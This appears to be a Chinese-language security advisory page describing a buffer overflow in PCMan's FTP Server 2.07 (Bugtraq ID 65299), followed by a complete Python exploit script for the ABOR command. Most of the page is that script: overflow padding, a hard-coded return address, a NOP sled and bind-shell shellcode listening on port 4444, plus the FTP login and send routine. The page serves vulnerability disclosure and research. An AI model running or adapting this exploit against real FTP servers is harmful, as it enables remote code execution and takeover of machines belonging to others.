发布日期：2014-01-29

更新日期：2014-02-19

受影响系统：

sourceforge PCMan's FTP Server 2.07

描述：

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BUGTRAQ  ID: 65299

PCMan's FTP Server是简单易于的基础FTP服务器。

PCMan's FTP Server 2.07版本在处理特制的USER, PASS, STOR, ABOR, CWD命令时没有正确验证用户提供的输入，在实现上存在溢出漏洞，这可使远程攻击者造成拒绝服务，执行任意代码。

链接：http://osvdb.org/show/osvdb/94624

*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

# Exploit Title: PCMAN FTP 2.07 ABOR Command Buffer Overflow

# Date: Jan 25,2014

# Exploit Author: Mahmod Mahajna (Mahy)

# Version: 2.07

# Tested on: Windows 7 sp1 x64 (english)

# Email: m.dofo123@gmail.com

import socket as s

from sys import argv

#

if(len(argv) != 4):

print "USAGE: %s host " % argv[0]

exit(1)

else:

#store command line arguments

script,host,fuser,fpass=argv

#vars

junk = '\x41' * 2011 #overwrite function (ABOR) with garbage/junk chars

espaddress = '\x59\x06\xbb\x76' # 76BB0659

nops = '\x90' * 10

shellcode = ( # BIND SHELL | PORT 4444

"\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"

"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"

"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"

"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"

"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"

"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"

"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"

"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"

"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"

"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"

"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"

"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"

"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"

"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"

"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"

"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"

"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"

"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"

"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"

"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"

"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"

"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"

"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"

"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"

"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")

sploit = junk+espaddress+nops+shellcode

#create socket

conn = s.socket(s.AF_INET,s.SOCK_STREAM)

#establish connection to server

conn.connect((host,21))

#post ftp user

conn.send('USER '+fuser+'\r\n')

#wait for response

uf = conn.recv(1024)

#post ftp password

conn.send('PASS '+fpass+'\r\n')

#wait for response

pf = conn.recv(1024)

#send ftp command with sploit

conn.send('ABOR '+sploit+'\r\n')

cf = conn.recv(1024)

#close connection

conn.close()

建议：

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